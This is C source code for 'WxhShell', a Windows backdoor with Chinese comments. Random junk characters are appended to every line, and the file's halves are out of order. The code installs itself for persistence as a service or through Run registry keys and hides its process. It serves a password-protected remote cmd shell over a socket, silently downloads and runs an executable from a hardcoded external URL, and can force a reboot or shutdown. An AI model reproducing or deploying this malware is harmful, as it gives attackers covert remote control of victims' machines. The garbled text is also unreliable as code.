    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :<H8'4>  
    else { Hte[TRbM  
    closesocket(wsh); Bhe{L?}0  
    ExitThread(0); fH[Wkif  
    } G{+2x N a(  
    break; 6x/s|RWL1  
    } `kFiH*5%z  
  // 获取shell r_^)1w  
  case 's': { Tpb"uBiXoo  
    CmdShell(wsh); E~qQai=]  
    closesocket(wsh); 4^[ /=J}  
    ExitThread(0); +p z}4M`  
    break; >OK#n)U`  
  } z3W3=@  
  // 退出 ET.dI.R8  
  case 'x': { hCAZ{+`z  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); KzNm^^#/$A  
    CloseIt(wsh); { D+Ym%n  
    break; w.z<60%},0  
    } nM8[  
  // 离开 *GJ:+U&m[  
  case 'q': { b!^@PIX  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); |NJ}F@t/5  
    closesocket(wsh); vQgq]mA?  
    WSACleanup(); BZ+;n |<r  
    exit(1); 6WeM rWx  
    break; !p',Za   
        } 7 \X$7  
  } {~_ Y _-  
  } Bd&`Xfebj  
VO_dA4C}z  
  // 提示信息 FqZgdmwR  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); M?$ZJ-  
} H:Y&OZ  
  } [1SMg$@<  
|cgui  
  return; cS(;Qs]Q  
} k"0;D-lTZ>  
A?A9`w  
// shell模块句柄 <^c3}  
int CmdShell(SOCKET sock) lL0M^Nv  
{ m(_9<bc>  
STARTUPINFO si; Us=eq "eu  
ZeroMemory(&si,sizeof(si)); ~8{sA5y  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; KP{3iUqvO  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; y3JMbl[S0  
PROCESS_INFORMATION ProcessInfo; Ac`;st%l.  
char cmdline[]="cmd"; {$33B'wk  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ^_W40/c3  
  return 0; >g}G}=R~3  
} 6pp$-uS  
S)7/0N79A  
// 自身启动模式 ix&'0IrX*  
int StartFromService(void) lP3h<j  
{ : G=FiC  
typedef struct 59lj7  
{ sJU`u'w  
  DWORD ExitStatus; qybxXK:  
  DWORD PebBaseAddress; ^2C>L}  
  DWORD AffinityMask; jn=:G+0  
  DWORD BasePriority; Ilq=wPD}j  
  ULONG UniqueProcessId; EI1? GB)b  
  ULONG InheritedFromUniqueProcessId; o\!qcoE2W  
}   PROCESS_BASIC_INFORMATION; #]Y*0Wzpfn  
T$P-<s  
PROCNTQSIP NtQueryInformationProcess; 5JSrrpGr  
x)oRSsv!Tr  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Y3rt5\!  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 9 <\`nm  
PVYyE3`UB  
  HANDLE             hProcess; WD.U"YI8y  
  PROCESS_BASIC_INFORMATION pbi; `q_<Im%I  
!Z|($21W  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); qINTCm j  
  if(NULL == hInst ) return 0; izuF !9  
/{*$JF  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Qihdn66  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); kO_5|6  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); L l}yJ#3,  
K 1W].(-@4  
  if (!NtQueryInformationProcess) return 0; !20X sO  
Bp_wnd  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); (MLhaux-  
  if(!hProcess) return 0; +@:L|uFU  
, ;jGJr  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; m3 -9b"  
*9 D!A  
  CloseHandle(hProcess); N`$!p9r  
3WUH~l{UJ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 27#5y_ `  
if(hProcess==NULL) return 0; *y]+dK&-  
K{=PQ XSU  
HMODULE hMod; :L:&t,X  
char procName[255]; fY W|p<Q0  
unsigned long cbNeeded; 4XJiIa?  
Gquuy7[&  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); $NG++N  
mYv(R!37'  
  CloseHandle(hProcess); Z :nbZHByh  
$k%Z$NSN=  
if(strstr(procName,"services")) return 1; // 以服务启动 s([dGD$i  
RE"^ )-  
  return 0; // 注册表启动 -d=WV:G%e  
} >*1}1~uU`'  
qTmD '2  
// 主模块 | C+o;  
int StartWxhshell(LPSTR lpCmdLine) VR0=SE  
{ 1cC1*c0Z  
  SOCKET wsl; c0rk<V%5+  
BOOL val=TRUE; !mnUdR|>(  
  int port=0; D1T@R)j  
  struct sockaddr_in door; #b)e4vwCq  
7~UR!T9  
  if(wscfg.ws_autoins) Install(); 'i|rj W(  
DuF"*R~et  
port=atoi(lpCmdLine); {hdPhL  
~Xv=9@,h  
if(port<=0) port=wscfg.ws_port; d) ahF[82  
m%r/O&g  
  WSADATA data; #wR;|pN  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; eJ@~o{,?>  
GbZ;#^S  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   K=\O5#F?3  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val));  jNyoN1M  
  door.sin_family = AF_INET; #&8rcu;/  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 7Y( 5]A9=  
  door.sin_port = htons(port); Ng=ONh  
@g-Tk  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) {  9A$m$  
closesocket(wsl); KZ:hKY@q  
return 1; h<l1U'Bn7  
} %,q. ),F  
p,W_'?,9  
  if(listen(wsl,2) == INVALID_SOCKET) { <48<86TP  
closesocket(wsl); \}"m'(\c  
return 1; 0C$vS`s&  
} 27Emm c  
  Wxhshell(wsl); ccJM>9  
  WSACleanup(); &^.57]  
EqB)sK/3  
return 0;  zGlZ!t:  
Ud(`V:d  
} H)(jh  
[iS$JG-  
// 以NT服务方式启动 A%bCMP  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 19U]2D/z  
{ #f,y&\Xmf  
DWORD   status = 0; 4'>1HW  
  DWORD   specificError = 0xfffffff; `` K#}3  
f'Mop= .  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 6g:|*w  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; au@a8MP  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 8p^B hd  
  serviceStatus.dwWin32ExitCode     = 0; mTDVlw0dh  
  serviceStatus.dwServiceSpecificExitCode = 0; 9$*s8}|  
  serviceStatus.dwCheckPoint       = 0; >{zk qvsQ&  
  serviceStatus.dwWaitHint       = 0; ;{Ux_JEg  
EG<s_d?  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ]$iqa"{  
  if (hServiceStatusHandle==0) return; ]+ Ixi o  
I:j3sy  
status = GetLastError(); BOVPKX  
  if (status!=NO_ERROR) eVh - _  
{ Vm1-C<V9  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; :D:DnVZ-[@  
    serviceStatus.dwCheckPoint       = 0; )7cb6jCU  
    serviceStatus.dwWaitHint       = 0; }FqA ppr  
    serviceStatus.dwWin32ExitCode     = status; R W/z1  
    serviceStatus.dwServiceSpecificExitCode = specificError; SX0_v_%M  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); LV{Q,DrP  
    return; 4_?7&G0(  
  } pbXi9|bI  
[1G^/K"  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; uKr1Z2  
  serviceStatus.dwCheckPoint       = 0; c,\i"=!$  
  serviceStatus.dwWaitHint       = 0; 0ezYdS~o  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); P\2M[Gu(Q  
} HfNDD| Zz  
VyLH"cCv  
// 处理NT服务事件,比如:启动、停止 V&{MQWy  
VOID WINAPI NTServiceHandler(DWORD fdwControl) },$0&/>ft  
{ Rqip kx  
switch(fdwControl) !RvRGRSyF  
{ B^ 7eoW  
case SERVICE_CONTROL_STOP: ~`MS~,,  
  serviceStatus.dwWin32ExitCode = 0; xl9aV\W  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; /u<nLj1  
  serviceStatus.dwCheckPoint   = 0; <=K qc Hb  
  serviceStatus.dwWaitHint     = 0; LaFZ?7@|}  
  { m!n/U-^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); tl yJmdl  
  } PyC0Q\$%  
  return; \*T"M*;  
case SERVICE_CONTROL_PAUSE: ,~PYt*X4  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; -Yi,_#3{  
  break; d50Vtm\  
case SERVICE_CONTROL_CONTINUE: PG%0yv%  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Z3KO90O!8  
  break; oih5B<&f#  
case SERVICE_CONTROL_INTERROGATE: ff? t[GS  
  break; ={2!c0s  
}; 6aO2:|:yP  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); jR ~DToQ  
} iO w3MfO  
W[bmzvJ_X  
// 标准应用程序主函数 ,Dmc2D  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ,V] ]: eR  
{ +ZsX*/TOn  
.\Fss(Zn  
// 获取操作系统版本 YB))S!;Ok  
OsIsNt=GetOsVer(); I_)*)d44_  
GetModuleFileName(NULL,ExeFile,MAX_PATH);  cc=gCE  
I`RBj`IF  
  // 从命令行安装 \BV 0zKd  
  if(strpbrk(lpCmdLine,"iI")) Install(); z$lF)r:Bc  
.Ce8L&cU  
  // 下载执行文件  v9RW5  
if(wscfg.ws_downexe) { is; XmF*5=  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) WKM)*@#,  
  WinExec(wscfg.ws_filenam,SW_HIDE); D87|q4  
} _,AzJ^  
`iKj  
if(!OsIsNt) { 5AeQQU  
// 如果时win9x,隐藏进程并且设置为注册表启动 l.)}t)my}  
HideProc(); SkNre$>t{  
StartWxhshell(lpCmdLine); 1^J`1  
} Tpp&  
else U]~^ZR  
  if(StartFromService()) <G8w[hs  
  // 以服务方式启动 Rf %HIAVE  
  StartServiceCtrlDispatcher(DispatchTable); O09ke-lC  
else 9.O8/0w7LV  
  // 普通方式启动 M[ 5[N{  
  StartWxhshell(lpCmdLine); +#J,BKul  
~}ml*<z@  
return 0; [`=LTBt  
} 9Mm!%Hu  
~|Y>:M+0Z  
d5I f"8`@  
1n*W2:,z  
=========================================== ~`#-d ^s:  
OK|qv[  
" K*  
?/*~;fM  
-C7]qbT }  
zW |=2oX2  
" >k7q g$  
p4u5mM  
#include <stdio.h> -|yb[~3  
#include <string.h> xvLn'8H.  
#include <windows.h> N6QVt f.  
#include <winsock2.h> I8   
#include <winsvc.h> u0`o A  
#include <urlmon.h> N6oq90G  
#1-xw~_  
#pragma comment (lib, "Ws2_32.lib") h:\oly\  
#pragma comment (lib, "urlmon.lib") 2 -!L _W(  
Ft JjY@#  
#define MAX_USER   100 // 最大客户端连接数 M&Y .;  
#define BUF_SOCK   200 // sock buffer tCF&OOI4`  
#define KEY_BUFF   255 // 输入 buffer ~=r^3nZR/J  
{4 >mc'dv  
#define REBOOT     0   // 重启 bEuaOBc  
#define SHUTDOWN   1   // 关机 R! s6% :Yg  
oSb, :^Wl  
#define DEF_PORT   5000 // 监听端口 >n5:1.g  
xom<P+M!|  
#define REG_LEN     16   // 注册表键长度 {1 J&xoV"  
#define SVC_LEN     80   // NT服务名长度 a)-FG P^  
w>?Un,K  
// 从dll定义API _cDF{E+;  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 0\{BWNK  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); OU DcY@x~  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ^ ?hA@{T/1  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); %%%fL;-y  
uv{P,]lK  
// wxhshell配置信息 Jc4L5*Xn/  
struct WSCFG { 5wtTP ;P  
  int ws_port;         // 监听端口 ']6VB,c`  
  char ws_passstr[REG_LEN]; // 口令 JHn*->m  
  int ws_autoins;       // 安装标记, 1=yes 0=no }]P4-KqI  
  char ws_regname[REG_LEN]; // 注册表键名 q!'rz  
  char ws_svcname[REG_LEN]; // 服务名 Ac k}QzXO  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 hm$X]H`uMX  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ^{@!['  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 pe0x""K  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Ft{[ae?4  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Si}HX!s  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 G)=HB7u[a  
/Wk9-uH  
}; )w~Fo,   
Nf,Z;5e  
// default Wxhshell configuration r4_eTrC,  
struct WSCFG wscfg={DEF_PORT, ZsP2>%"  
    "xuhuanlingzhe", I XA>`D  
    1, (n( fI f  
    "Wxhshell", z;u> Yz+3  
    "Wxhshell", 0CvsvUN@  
            "WxhShell Service", z T%U!jqI  
    "Wrsky Windows CmdShell Service", yTM{|D]$(  
    "Please Input Your Password: ", L7Dh(y=;7  
  1, .?C%1a&_l  
  "http://www.wrsky.com/wxhshell.exe", r~[vaQQ6L  
  "Wxhshell.exe" m,LG=s  
    }; lEL78l.  
01a-{&   
// 消息定义模块 u8b2$D  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; JEn3`B!*  
char *msg_ws_prompt="\n\r? for help\n\r#>"; r WtZj}A  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; =#5D(0Ab  
char *msg_ws_ext="\n\rExit."; <T?oKOD ]  
char *msg_ws_end="\n\rQuit."; Y[ reD  
char *msg_ws_boot="\n\rReboot..."; H!e 3~+)  
char *msg_ws_poff="\n\rShutdown..."; >PKBo  
char *msg_ws_down="\n\rSave to "; Weoj|0|t  
VUU]Pu &  
char *msg_ws_err="\n\rErr!"; \79X{mcd  
char *msg_ws_ok="\n\rOK!"; *2 "6fX[  
rk2xKm^w  
char ExeFile[MAX_PATH]; }|)R   
int nUser = 0; 2 mjV~  
HANDLE handles[MAX_USER]; lB8il2&  
int OsIsNt; p(SRjQt  
kW3E =pr  
SERVICE_STATUS       serviceStatus; igf )Hb;5  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Ha>*?`?yI  
gv15t'y9  
// 函数声明 UK#&lim  
int Install(void); 1xyU  
int Uninstall(void); W3W'oo  
int DownloadFile(char *sURL, SOCKET wsh); }`VDD?M  
int Boot(int flag); <c[U#KrvJ  
void HideProc(void); wHjLd$ +o  
int GetOsVer(void); FwKj+f"  
int Wxhshell(SOCKET wsl); vZ7gS  
void TalkWithClient(void *cs); FaTa(3$%  
int CmdShell(SOCKET sock); YO)$M-]>%J  
int StartFromService(void); AT Zhr. H  
int StartWxhshell(LPSTR lpCmdLine); AZ|yX  
rf+:=|/_3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); RNVbcd  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ` D7C?M#j]  
w^k;D,h  
// 数据结构和表定义 }]1BO  
SERVICE_TABLE_ENTRY DispatchTable[] = 8cx=#Me  
{ <hnCUg1  
{wscfg.ws_svcname, NTServiceMain}, l2%bF8]z  
{NULL, NULL} ]-o"}"3Ef  
}; f},oj4P\  
0X2@CPIFf  
// 自我安装 ij5g^{_T;8  
int Install(void) ^(}585b  
{ `L;eba  
  char svExeFile[MAX_PATH]; @\_x'!R  
  HKEY key; ` >!n  
  strcpy(svExeFile,ExeFile); PQW(EeQ  
FUK3)lT  
// 如果是win9x系统,修改注册表设为自启动 WnFG{S{s  
if(!OsIsNt) { NIr@R7MKd  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Bc-yxjsw  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); SZ![%)83  
  RegCloseKey(key); S/vf'gj  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { rtJl _0`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); tqPx$s  
  RegCloseKey(key); _STB$cZ  
  return 0; [ //R~i?  
    } V+-$ jOh  
  } < |O^>s;  
} PALl sGlf  
else { C.:=lo B  
NBh%:tu7M  
// 如果是NT以上系统,安装为系统服务 u.pxz8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Sx gYjIa-  
if (schSCManager!=0) I7QCYB|  
{ h<l1]h+x  
  SC_HANDLE schService = CreateService E{xVc;t  
  ( XALI<ZY  
  schSCManager, d<w~jP\  
  wscfg.ws_svcname, (fD ;g9  
  wscfg.ws_svcdisp, h 6G/O`:  
  SERVICE_ALL_ACCESS, >>[/UFC)n  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ln*icaDqf  
  SERVICE_AUTO_START, ~s Qjl]  
  SERVICE_ERROR_NORMAL, ?zJpD8e  
  svExeFile, fqz28aHh  
  NULL, C`rLj5E%  
  NULL, Oh.ZPG=  
  NULL, *x~xWg9^  
  NULL, 1RLY $M  
  NULL WlB' YL-`g  
  ); (LvS :?T}  
  if (schService!=0) $ZPX]2D4B#  
  { ;wiao(t>4N  
  CloseServiceHandle(schService); `?*%$>W#"  
  CloseServiceHandle(schSCManager); I|oT0y &  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); V=I"-k}RL  
  strcat(svExeFile,wscfg.ws_svcname); &WXY'A=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { E9j+o y  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); T&Xl'=/  
  RegCloseKey(key); <[aDo%,A  
  return 0; qpoV]#iW  
    } %x; x_  
  } =M6[URZ  
  CloseServiceHandle(schSCManager); z_;3H,z`  
} "; [ iZ  
} 87!C@XlK_  
U8#xgz@  
return 1; :qhpL-ER  
} 4:3rc7_ 1  
[@ <sFP;g  
// 自我卸载 >$677  
int Uninstall(void) >t,M  
{ %1 KbS [  
  HKEY key; c97{Pu  
uaw~r2  
if(!OsIsNt) { o!TQk{0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ubMOD<  
  RegDeleteValue(key,wscfg.ws_regname); Zt -1h{7  
  RegCloseKey(key); + Y.1)i}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _R|Ify#J  
  RegDeleteValue(key,wscfg.ws_regname); B@Co'DV[/]  
  RegCloseKey(key); @r(Z%j7  
  return 0; I-D^>\k+  
  } :6J +%(f  
} {3a&1'a0g  
} 3FSqd<t;D  
else { # m R4fst  
Mk<Vydds  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); lLq<xf  
if (schSCManager!=0) .%BT,$1K  
{ h/eR  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ~na!@<zB{  
  if (schService!=0) {yAL+}  
  { wCs^J48=  
  if(DeleteService(schService)!=0) { Th[f9H%  
  CloseServiceHandle(schService); Bm$"WbOq*R  
  CloseServiceHandle(schSCManager); 5  *}R$  
  return 0; &ad I (s~  
  } d9*hBm  
  CloseServiceHandle(schService); <>eOC9;VY  
  } KT|RF  
  CloseServiceHandle(schSCManager); mpC`Yk  
} Ok5<TZ6t4k  
} iF5'ygR-Z  
c:S] R"  
return 1; W+wA_s2&D  
} zQ?!f#f  
ulT8lw='  
// 从指定url下载文件 WFR?fDtE  
int DownloadFile(char *sURL, SOCKET wsh) ^VW PdH/Fe  
{ $w)~O<_U  
  HRESULT hr; TlL^7f}  
char seps[]= "/"; 'AGto'Yy;  
char *token; bUV >^d  
char *file; 8*SDiZ  
char myURL[MAX_PATH]; _8fr6tO+  
char myFILE[MAX_PATH]; )C(>H93  
+:=(#Y  
strcpy(myURL,sURL); (YBMsh  
  token=strtok(myURL,seps); %V &n*3  
  while(token!=NULL) [AH6~-\x  
  { ( m\$hX  
    file=token; v$~QCtc  
  token=strtok(NULL,seps); w&$d* E  
  } #&<)! YY5  
\]Kh[z0"  
GetCurrentDirectory(MAX_PATH,myFILE); [P zv4+  
strcat(myFILE, "\\"); }<@j'Ok}.  
strcat(myFILE, file); uJx"W  
  send(wsh,myFILE,strlen(myFILE),0); yNW\?Z$@q  
send(wsh,"...",3,0); uY_SU-v  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); m p<1yY]  
  if(hr==S_OK) 84HUBud76Y  
return 0; c0c|z Ym  
else m42T9wSsx  
return 1; R_] {2~J+  
iUMY!eqp  
} K/m3  
VUTacA Y>L  
// 系统电源模块 /-zXM;h  
int Boot(int flag) hc (e$##  
{ 0.$hn  
  HANDLE hToken; rWys'uc  
  TOKEN_PRIVILEGES tkp; &uP~rEJl+  
o)6pA^+  
  if(OsIsNt) { U~{du;\  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); nKR{ug>I)  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ?oZR.D|SZ  
    tkp.PrivilegeCount = 1; qbrpP(.  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; WPZ?*Sx  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); (npj_s!.C)  
if(flag==REBOOT) { U<XSj#&8|  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) *vgl*k?)  
  return 0; R(.}C)q3  
} s?8<50s  
else { 9[!,c`pw  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) u&G.4QQF  
  return 0; (>J4^``x=  
} $VAx:Y|  
  } s}5cSU!|  
  else { !$2Z-!  
if(flag==REBOOT) { $'W}aER  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) &aM7T_h8  
  return 0; GdB.4s^  
} ob+euCuJ  
else { f>'Y(dJ'W  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 01!s"wjf  
  return 0; V)Z70J <'  
} d]9U^iy  
} Iff9'TE  
'65LKD  
return 1; ~HQ9i%exg  
} Li*eGlId  
b o.(zAz  
// win9x进程隐藏模块 f= >O J!:  
void HideProc(void) 5J8r8` t  
{ L lqM c  
(F7(^.MG  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); b~dIk5>O  
  if ( hKernel != NULL ) Q1V9PRZX  
  { 9nu3+.&P  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); J0zn-  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); IwGqf.!.>  
    FreeLibrary(hKernel); NM)k/?fA  
  } **69rN  
{M,,npl  
return; TW !&p"Us+  
} (&$VxuJ+6y  
!lo/xQ<  
// 获取操作系统版本 }b1cLchl  
int GetOsVer(void) iy""(c  
{ :JlP[I  
  OSVERSIONINFO winfo; 6TP7b|  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ;lYHQQd!,  
  GetVersionEx(&winfo); P`r55@af4  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) d[rv1s>i  
  return 1; a>\vUv*  
  else bINvqv0v  
  return 0; d1[ZHio2c?  
} +r3IN){jz  
Wg`R_>qQSm  
// 客户端句柄模块 ZiLj=bh  
int Wxhshell(SOCKET wsl) o1nURJ!  
{ (8_\^jJ  
  SOCKET wsh; \EseGgd21  
  struct sockaddr_in client; ETs>`#`6o  
  DWORD myID; r$)w7Gk<  
UGK*Gy  
  while(nUser<MAX_USER) % `Z! 4L  
{ NnVnUgx  
  int nSize=sizeof(client); (sWLhUgRX  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); phO;c;y}  
  if(wsh==INVALID_SOCKET) return 1; E*i#?u  
_X?^Cy  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); `est|C '+  
if(handles[nUser]==0) e<r,&U$  
  closesocket(wsh); F;^F+H  
else e%W$*f  
  nUser++; o M Zq+>  
  } U`hY{E;  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); F5S@I;   
YKQr, Now  
  return 0; uw lr9nB  
} iiK]l   
Sna4wkbS  
// 关闭 socket Haqm^Ky$  
void CloseIt(SOCKET wsh) >:lnt /N3  
{ hB{jUP) ";  
closesocket(wsh); K\|FQ^#UYm  
nUser--; Ar~"R4!  
ExitThread(0); H#ClIh?'b  
} L5MzLE&~  
sVex (X  
// 客户端请求句柄 b86}% FM  
void TalkWithClient(void *cs) JU&+c6>  
{ vm>b m  
(h:Rh  
  SOCKET wsh=(SOCKET)cs; ?6'rBH/w  
  char pwd[SVC_LEN]; rj!0GI  
  char cmd[KEY_BUFF]; #c2ymQm  
char chr[1]; ut r:J  
int i,j; qe5feky  
J=/5}u_gw  
  while (nUser < MAX_USER) { *2jK#9"MP  
r&FDEBh  
if(wscfg.ws_passstr) { 6-O_\Cq8  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); bJs9X/E  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @B}aN@!/  
  //ZeroMemory(pwd,KEY_BUFF); 4[N^>qt =  
      i=0; 43=,yz2Ef  
  while(i<SVC_LEN) { ,a#EW+" Z  
!>:?rSg*  
  // 设置超时 tJN<PCG6"  
  fd_set FdRead; K(aJi,e>  
  struct timeval TimeOut; <tioJG{OT  
  FD_ZERO(&FdRead);  O#I1V K  
  FD_SET(wsh,&FdRead); Sfdu`MQR  
  TimeOut.tv_sec=8; *g^x*|f6  
  TimeOut.tv_usec=0; IsR!'%Pu  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); !W?gR.0$=  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Kv~U6_=1O  
XC+A_"w)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); S{3nM<  
  pwd=chr[0]; JfPD}w  
  if(chr[0]==0xd || chr[0]==0xa) { G}p\8Q}'  
  pwd=0; 'F3)9&M  
  break; 4!KoFoZt*  
  } j)q\9#sI/(  
  i++; &4_qF^9J  
    } i&n'N8D@  
/t(C>$ }p  
  // 如果是非法用户,关闭 socket &iV{:)L  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); dUsx vho  
} --DoB=5%8  
,cq F3   
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Q$fmD  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); A@Dw<.&_I  
}1rm  
while(1) { Ps<d('=  
B/n[m@O  
  ZeroMemory(cmd,KEY_BUFF); V dn&c  
p'om-  
      // 自动支持客户端 telnet标准   +zs4a96[  
  j=0; )RcL/n  
  while(j<KEY_BUFF) { ]~3U  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); N;[>,0&z  
  cmd[j]=chr[0]; 1x,tu}<u^  
  if(chr[0]==0xa || chr[0]==0xd) { +sJrllrE(  
  cmd[j]=0; zen*PeIrA^  
  break; [ Fz`D/  
  } 4!wR_@W^El  
  j++; L31|\x]  
    } 9HX =T%  
0P]E6hWgg  
  // 下载文件 wm^J;<T[  
  if(strstr(cmd,"http://")) { >+[&3u  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 2;?I>~  
  if(DownloadFile(cmd,wsh)) )YqXRm  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); T' ~!9Q  
  else )l#E}Uz  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /:FOPPs  
  } ~^cMys |'  
  else { C/-63O_  
[VWUqlNt>  
    switch(cmd[0]) { uDZT_c'Y  
  y  TDNNK  
  // 帮助 Kde9 $  
  case '?': { 3@]SKfoo1  
